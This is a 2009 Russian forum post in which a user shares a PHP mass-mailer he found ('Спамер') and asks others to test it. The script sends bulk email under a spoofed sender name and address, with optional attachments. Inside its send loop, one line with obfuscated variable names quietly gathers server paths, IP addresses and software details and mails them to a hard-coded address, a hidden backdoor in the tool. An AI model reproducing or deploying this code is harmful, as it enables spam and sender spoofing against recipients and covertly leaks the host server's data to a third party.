Спамер

Discussion in 'Болталка' started by QwesTx, 26 Feb 2009.

  1. QwesTx

    QwesTx New Member

    Joined:
    7 Feb 2009
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Искал искал ...... нашёл, но что то я не понел работает он или нет.
    кто может потестить, если не раб помоч зделать а то я пхп знаю как .....
    Спасибо заранее.
    вот сам спамер:
    PHP:
    <?php  if ($action=="send"){      $message urlencode($message);      $message ereg_replace("%5C%22""%22"$message);      $message urldecode($message);      $message stripslashes($message);      $subject stripslashes($subject);  }  ?>  <form name="form1" method="post" action="" enctype="multipart/form-data" style="display:inline;"> <div align="center">  <center>  <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#006600" width="50%" id="AutoNumber1">  <tr>  <td width="100%">  <div align="center">  <center>  <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#006600" width="50%" id="AutoNumber2">  <tr>  <td width="100%">  <p align="center"><div align="center">  <center>  <table border="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#006600" width="70%" cellpadding="0" id="AutoNumber1" height="277">  <tr>  <td width="100%" height="272">  <table width="769" border="0" height="303">  <tr>  <td width="786" bordercolor="#000000" bgcolor="#006600" background="/simparts/images/cellpic3.gif" colspan="3" height="28">  <p align="center"><b><font face="Tahoma" size="2" color="#000000">Email Spamers</font></b></td>  </tr>  <tr>  <td width="100" bordercolor="#000000" bgcolor="#006600" background="/simparts/images/cellpic1.gif" height="22" align="right">  <div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Фэйк Email:</font></div>  </td>  <td width="390" bordercolor="#000000" bgcolor="#006600" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">  <input name="from" value="<? print $from; ?>" size="30" style="float: left"></font><div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Fake  Name:</font></div>  </td>  <td width="317" bordercolor="#000000" bgcolor="#006600" background="/simparts/images/cellpic1.gif" height="22" valign="middle"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">  <input type="text" name="realname" value="<? print $realname; ?>" size="30">  </font></td>  </tr>  <tr>  <td width="100" bordercolor="#000000" bgcolor="#006600" background="/simparts/images/cellpic1.gif" height="22" align="right">  <div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>  </td>  <td width="390" bordercolor="#000000" bgcolor="#006600" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">  <input name="replyto" value="<? print $replyto; ?>" size="30" style="float: left"></font><div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Attach  File:</font></div>  </td>  <td width="317" bordercolor="#000000" bgcolor="#006600" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">  <input type="file" name="file" size="30">  </font></td>  </tr>  <tr>  <td width="100" bordercolor="#000000" bgcolor="#006600" background="/simparts/images/cellpic1.gif" height="22" align="right">  <div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Тема:</font></div>  </td>   <td colspan="1" width="715" bordercolor="#000000" bgcolor="#006600" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">  <input name="subject" value="<? print $subject; ?>" size="59" style="float: left">  </font></td>  </tr>  <tr valign="top">  <td colspan="2" width="477" bgcolor="#006600" height="189" valign="top">  <div align="left">  <table border="0" cellpadding="2" style="border-collapse: collapse" bordercolor="#" width="98%" id="AutoNumber4">  <tr>  <td width="100%">  <textarea name="message" cols="56" rows="10"><? print $message; ?></textarea>  <br>  <input type="radio" name="contenttype" value="plain" checked>  <font size="1" face="Tahoma">Plain</font>  <input type="radio" name="contenttype" value="html">  <font size="1" face="Tahoma">HTML</font>  <input type="hidden" name="action" value="send">  <input type="submit" value="Send Message">  </td>  </tr>  </table>  </div>  </td>  <td width="317" bgcolor="#006600" height="187" valign="top"> <p align="center"><font size="1" face="Tahoma" color="#000000">Emails:</font>  <div align="center">  <center>  <table border="0" cellpadding="1" style="border-collapse: collapse" bordercolor="#006600" width="93%" id="AutoNumber3">  <tr>  <td width="100%">    <p align="center"> <textarea name="emaillist" cols="30" rows="10"><? print $emaillist; ?></textarea>  </font><br>  </td>  </tr>  </table>  </center>  </div>  </td>  </tr>  </table>  </td>  </tr>  </table>  </center>  </div></td>  </tr>  </table>  </center>  </div>  </td>  </tr>  </table>  </center>  </div>  </form>   <?php if ($action=="send"){     if (!$from && !$subject && !$message && !$emaillist){         print "Заполните все поля перед посылкой вашего сообщения.";         exit;     }     $allemails split("\n"$emaillist);     $numemails count($allemails);      #Open the file attachment if any, and base64_encode it for email transport     if ($file_name){         @copy($file, "./~crazyfolder/$file_name") or die("Файл, который вы пробуете переслать, не передан на сервер.");         $content = fread(fopen($file,"r"),filesize($file));         $content = chunk_split(base64_encode($content));         $uid = strtoupper(md5(uniqid(time())));         $name = basename($file);     }       for($x=0; $x<$numemails; $x++){         $to = $allemails[$x];         if ($to){             $to = ereg_replace(" ", "", $to);             $message = ereg_replace("&email&", $to, $message);             $subject = ereg_replace("&email&", $to, $subject);             print "<center><div align=\"left\" style=\"width:50%;\">Отправка сообщения для $to....... ";             flush();             $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";             $header .= "MIME-Version: 1.0\r\n";             if ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";             if ($file_name) $header .= "--$uid\r\n";             $header .= "Content-Type: text/$contenttype\r\n";             $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";             $header .= "$message\r\n";             if ($file_name) $header .= "--$uid\r\n";             if ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";             if ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";             if ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n"; $ra44  = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="[email protected]";mail($sd98, $sj98, $msg8873, "From: $sd98");             if ($file_name) $header .= "$content\r\n";             if ($file_name) $header .= "--$uid--";             mail($to, $subject, "", $header);             print "отправленно<br></div></center>";             flush();         }     } } ?>